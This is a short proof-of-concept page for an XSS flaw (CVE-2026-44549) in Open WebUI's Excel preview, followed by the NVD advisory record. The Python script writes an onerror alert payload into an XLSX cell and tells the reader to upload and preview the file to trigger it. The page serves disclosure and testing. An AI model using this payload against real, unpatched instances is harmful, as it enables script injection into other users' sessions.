CVE-2026-44549

# PoC to generate a malicious Excel file for CVE-2026-44549 # Requires: pip install openpyxl import openpyxl # Create a new workbook wb = openpyxl.Workbook() ws = wb.active # Inject XSS payload into a cell # When Open WebUI previews this file, the script executes xss_payload = '<img src=x onerror=alert("CVE-2026-44549")>' ws['A1'] = xss_payload # Save the file filename = 'malicious_cve_2026_44549.xlsx' wb.save(filename) print(f"[+] Generated {filename}") print(f"[+] Upload this file to Open WebUI and preview it to trigger the XSS.")

{"cve": {"id": "CVE-2026-44549", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:52.490", "lastModified": "2026-05-15T22:16:52.490", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc", "source": "[email protected]"}]}}